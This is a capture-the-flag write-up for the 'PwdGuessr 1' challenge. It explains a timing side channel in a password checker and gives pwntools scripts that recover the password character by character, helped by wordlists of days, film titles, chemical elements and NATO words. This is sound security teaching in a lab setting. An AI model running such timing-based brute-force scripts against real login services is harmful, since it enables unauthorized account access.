PwdGuessr 1
An interesting password guessing challenge
Challenge Description¶
To guess at things randomly is not to guess at all. Only through being methodical can enlightenment be achieved
Note: This challenge has a second part which is a trophy challenge. You must be the first verified team to submit PwdGuessr2 to win the trophy.
We have learned that the Demon-tron server has very particular requirements for their users' passwords.
We have also managed to learn how those passwords are checked:
def check_pwd(sample, pwd):
for s, p in zip_longest(sample, pwd):
if s is None or p is None:
return False
if p != s:
time.sleep(0.5) # Add a delay to stop password-guessing attacks
return False
return True
nc $target_dns $target_port
Play Along at Home¶
During the CTF, the challenge was hosted at pwdguessr.chal.cybears.io:2323
To play after the CTF, run
docker run --name pwdguessr1 -dp 2323:2323 --rm registry.gitlab.com/cybears/fall-of-cybeartron/misc-pwdguessr
127.0.0.1
Walkthrough¶
Initial Recon¶
From the definition of check_pwd
given in the challenge description, it appears that when submitting a
password there are three possible outcomes:
- Success - If we get the password entirely correct
- Delayed Failure - If the attempted password is not a prefix of the real password, there will be a 500ms delay
- Immediate Failure - If the attempted password is a prefix of the real password, it will return immediately
Connecting to the challenge with nc pwdguessr.chal.cybears.io 2323
shows the prompt
Welcome, user 5909559.
Please enter your password:
Entering a random password lead to a brief pause, followed by the response
Sorry, that password was incorrect. Please enter your password:
Note
The response does not end with a newline, so recvline
will not work while scripting this
Bruteforce¶
To get a better idea of the passwords, a script was written to iteratively bruteforce character by character, continuing whenever an attempted password does not cause a 500ms delay.
Note
Script requires pwntools
for providing a nice wrapper around the socket and tqdm
for progress bars
After a bit of iterating on the script due to realizing a timeout occurred after a while, it looked like
import string
from pwn import *
from tqdm import tqdm
alphabet = string.ascii_lowercase + string.digits + string.ascii_uppercase
host = "pwdguessr.chal.cybears.io"
port = 2323
r = remote(host, port)
user_line = r.recvline().decode()
user = user_line.split(" ")[-1][:-2]
r.recvuntil("Please enter your password: ")
class SuccessfulConnection(Exception):
pass
class Timeout(Exception):
pass
class NotFound(Exception):
pass
def check(password):
before = time.time()
r.sendline(password)
out = r.recv(5)
if out != b"Sorry":
if out == b"Conne":
raise Timeout
raise SuccessfulConnection(out.decode())
after = time.time()
r.recvuntil("Please enter your password: ")
delta = after - before
return delta < 0.5
def main(password: str = ""):
log.setLevel("DEBUG")
while True:
for c in tqdm(alphabet):
if check(password + c):
password += c
log.debug(f"password={password}")
break
else:
raise NotFound(password)
if __name__ == '__main__':
main()
Running this a couple of times, yielded a few prefixes before failing
- thurs
- sunda
- monda
Wordlists¶
Due to the prefixes appearing to be days of the week, the script was adapted to try these first
import string
from pwn import *
from tqdm import tqdm
alphabet = string.ascii_lowercase + string.digits + string.ascii_uppercase
host = "pwdguessr.chal.cybears.io"
port = 2323
r = remote(host, port)
user_line = r.recvline().decode()
user = user_line.split(" ")[-1][:-2]
r.recvuntil("Please enter your password: ")
days = ["monday", "tuesday", "wednesday", "thursday", "friday", "saturday", "sunday"]
class SuccessfulConnection(Exception):
pass
class Timeout(Exception):
pass
class NotFound(Exception):
pass
def check(password: str):
before = time.time()
r.sendline(password)
out = r.recv(5)
if out != b"Sorry":
if out == b"Conne":
raise Timeout
raise SuccessfulConnection(out.decode())
after = time.time()
r.recvuntil("Please enter your password: ")
delta = after - before
return delta < 0.5
def brute(password: str = ""):
while True:
for c in tqdm(alphabet):
if check(password + c):
password += c
log.debug(f"password={password}")
break
else:
raise NotFound(password)
def guess_days(password: str = ""):
for day in days:
test = password + day
log.debug(f"Checking: {test}")
if check(test):
return test
else:
log.warn("Falling back to bruteforce")
return brute(password)
def main():
log.setLevel("DEBUG")
password = guess_days()
password = brute(password)
if __name__ == '__main__':
main()
episode
or harry
.
To accomodate the multiple wordlists, guess_days
was refactored into a guess_words
function
# SNIP
def guess_words(words: List[str], password: str = "", fallback=True):
for word in words:
test = password + word
log.debug(f"Checking: {test}")
if check(test):
log.debug(f"Found: {test}")
return test
else:
if fallback:
log.warn(f"Failed to use password from {words}")
log.warn("Falling back to bruteforce")
return brute(s)
else:
return None
def main():
log.setLevel("DEBUG")
password = guess_words(days)
password = guess_words(["episode", "harry"])
password = brute(password)
# SNIP
This revealed that the second segment of the password was either of the form harrypotterandthe
(name of harry potter movie with no spaces)
or episodeonetheph
(or any of the 9 Starwars movies)
Adapting the script
def main():
log.setLevel("DEBUG")
password = guess_words(days)
password = guess_words(["episode", "harrypotterandthe"])
if password.endswith("episode"):
s = guess_words(starwars_episodes, password)
elif password.endswith("harrypotterandthe"):
s = guess_words(potter_movies, password)
password = brute(password)
Note
I've skipped over a fair amount of trial and error while tweaking the wordlists to get the correct movie names
Optimisation - Guess Prefixes¶
At this point, I decided to slightly optimize my guesses so that I could
- Simplify my wordlists
- Reduce number of guesses prior to bruteforce, so I get more info before timing out
I noticed that when guessing from a wordlist, some words had common prefixes, which could be guessed independently.
from collections import Counter
# SNIP
def guess_words_smart(words, password: str = ""):
# Don't bother with divide and conquer for two passwords
if len(words) <= 2:
return guess_words(words, password)
# Get most common first letters
first_letters = Counter(word[0] for word in words).most_common()
if first_letters[0][1] == 1:
# If no common first letters just revert to guessing words
return guess_words(words, password)
# List of letters that have more than one word in list starting with them, ordered by
first_letters_s = [letter for letter, cnt in first_letters if cnt > 1]
new_s = guess_words(first_letters_s, password)
if new_s is None:
new_words = [word for word in words if word[0] not in first_letters_s]
assert len(new_words) > 0
return guess_words_smart(new_words, password)
words = [word[1:] for word in words if word[0] == new_s[-1]]
return guess_words_smart(words, new_s)
With this optimisation, I could join the starwars episodes and harry potter movies wordlists without sacrificing performance.
def main():
log.setLevel("DEBUG")
password = guess_words_smart(days)
password = guess_words_smart(movies, password)
brute(password)
More Wordlists¶
With the optimisation out of the way, was able to bruteforce more of the next section of the password.
After a few prefixes were recovered, I recognised they were elements of the periodic table and added that as a wordlist
def main():
log.setLevel("DEBUG")
password = guess_words_smart(days)
password = guess_words_smart(movies, password)
password = guess_words_smart(elements, password)
brute(password)
Note
What I did not realize at this point was that a few elements were spelled differently in the periodic table I used as a reference. This was uncovered during PwdGuessr 2, but caused unexplained failure in ~4% of attempts.
Even More Wordlists¶
Running the script a few more times revealed that the next (and last) part of the password were words from the Nato phonetic alphabet.
After adding the nato word list, running the script gave the file
Full Source¶
pwdguessr.py¶
from pwn import *
from tqdm import tqdm
from collections import Counter
from pwdguessrlists import (
elements,
days,
nato_phonetic,
movies,
)
# host = "pwdguessr.chal.cybears.io"
host = "127.0.0.1"
port = 2323
alphabet = string.ascii_lowercase
r = remote(host, port)
user_line = r.recvline().decode()
user = user_line.split(" ")[-1][:-2]
print(r.recvuntil("Please enter your password: "))
class SuccessfulConnection(Exception):
pass
class NotFound(Exception):
pass
class Timeout(Exception):
pass
def check(x):
before = time.time()
r.sendline(x)
out = r.recv(5)
if out != b"Sorry":
if out == b"Conne":
raise Timeout
raise SuccessfulConnection(out.decode())
after = time.time()
r.recvuntil("Please enter your password: ")
delta = after - before
return delta < 0.5
def brute(s: str = ""):
while True:
for c in tqdm(alphabet):
if check(s + c):
s += c
print(f"s={s}")
break
else:
raise NotFound("Brute")
def guess_words(words, s: str = "", fallback=True):
for word in words:
test = s + word
log.debug(f"Checking: {test}")
if check(test):
return test
else:
if fallback:
log.warn(f"Failed to use password from {words}")
log.warn("Falling back to bruteforce")
return brute(s)
else:
return None
def guess_words_smart(words, s: str = ""):
# Napkin maths says 3 is a good number
if len(words) < 3:
return guess_words(words, s)
first_letters = Counter(word[0] for word in words).most_common()
if first_letters[0][1] == 1:
return guess_words(words, s)
first_letters_s = [letter for letter, cnt in first_letters if cnt > 1]
new_s = guess_words(first_letters_s, s, fallback=False)
if new_s is None:
new_words = [word for word in words if word[0] not in first_letters_s]
assert len(new_words) > 0
return guess_words_smart(new_words, s)
words = [word[1:] for word in words if word[0] == new_s[-1]]
return guess_words_smart(words, new_s)
def main():
log.setLevel("DEBUG")
try:
s = guess_words_smart(days)
log.info(f"Partial: {s!r}")
s = guess_words_smart(movies, s)
log.info(f"Partial: {s!r}")
s = guess_words_smart(elements, s)
log.info(f"Partial: {s!r}")
s = guess_words_smart(nato_phonetic, s)
log.info(f"Partial: {s!r}")
brute(s)
except SuccessfulConnection as e:
print("We're in!")
out = r.recvall(0.1)
msg = e.args[0] + out.decode()
print(f"User: {user}")
print(msg)
finally:
r.close()
if __name__ == "__main__":
main()
pwdguessrlists.py¶
days = ["monday", "tuesday", "wednesday", "thursday", "friday", "saturday", "sunday"]
movies = [
"harrypotterandthechamberofsecrets",
"harrypotterandthedeathlyhallowspartone",
"harrypotterandthedeathlyhallowsparttwo",
"harrypotterandthegobletoffire",
"harrypotterandthegobletoffire",
"harrypotterandthehalfbloodprince",
"harrypotterandtheorderofthephoenix",
"harrypotterandthephilosophersstone",
"harrypotterandtheprisonerofazkaban",
"harrypotterandtheprisonerofazkaban",
"episodeeightthelastjedi",
"episodefivetheempirestrikesback",
"episodefouranewhope",
"episodeninetheriseofskywalker",
"episodeonethephantommenace",
"episodeseventheforceawakens",
"episodesixreturnofthejedi",
"episodethreerevengeofthesith",
"episodetwoattackoftheclones",
]
starwars_episodes = [
"eightthelastjedi",
"fivetheempirestrikesback",
"fouranewhope",
"ninetheriseofskywalker",
"onethephantommenace",
"seventheforceawakens",
"sixreturnofthejedi",
"threerevengeofthesith",
"twoattackoftheclones",
]
potter_movies = [
"chamberofsecrets",
"deathlyhallowspartone",
"deathlyhallowsparttwo",
"gobletoffire",
"halfbloodprince",
"orderofthephoenix",
"philosophersstone",
"prisonerofazkaban",
]
elements = [
"actinium",
"aluminium",
"aluminum",
"americium",
"antimony",
"argon",
"arsenic",
"astatine",
"barium",
"berkelium",
"beryllium",
"bismuth",
"bohrium",
"boron",
"bromine",
"cadmium",
"calcium",
"californium",
"carbon",
"cerium",
"caesium",
"chlorine",
"chromium",
"cobalt",
"copernicium",
"copper",
"curium",
"darmstadtium",
"dubnium",
"dysprosium",
"einsteinium",
"erbium",
"europium",
"fermium",
"flerovium",
"fluorine",
"francium",
"gadolinium",
"gallium",
"germanium",
"gold",
"hafnium",
"hassium",
"helium",
"holmium",
"hydrogen",
"indium",
"iodine",
"iridium",
"iron",
"krypton",
"lanthanum",
"lawrencium",
"lead",
"lithium",
"livermorium",
"lutetium",
"magnesium",
"manganese",
"meitnerium",
"mendelevium",
"mercury",
"molybdenum",
"moscovium",
"neodymium",
"neon",
"neptunium",
"nickel",
"nihonium",
"niobium",
"nitrogen",
"nobelium",
"oganesson",
"osmium",
"oxygen",
"palladium",
"phosphorus",
"platinum",
"plutonium",
"polonium",
"potassium",
"praseodymium",
"promethium",
"protactinium",
"radium",
"radon",
"rhenium",
"rhodium",
"roentgenium",
"rubidium",
"ruthenium",
"rutherfordium",
"samarium",
"scandium",
"seaborgium",
"selenium",
"silicon",
"silver",
"sodium",
"strontium",
"sulfur",
"tantalum",
"technetium",
"tellurium",
"tennessine",
"terbium",
"thallium",
"thorium",
"thulium",
"tin",
"titanium",
"tungsten",
"uranium",
"vanadium",
"wolfram",
"xenon",
"ytterbium",
"yttrium",
"zinc",
"zirconium",
]
nato_phonetic = [
"alfa",
"bravo",
"charlie",
"delta",
"echo",
"foxtrot",
"golf",
"hotel",
"india",
"juliett",
"kilo",
"lima",
"mike",
"november",
"oscar",
"papa",
"quebec",
"romeo",
"sierra",
"tango",
"uniform",
"victor",
"whiskey",
"xray",
"yankee",
"zulu",
]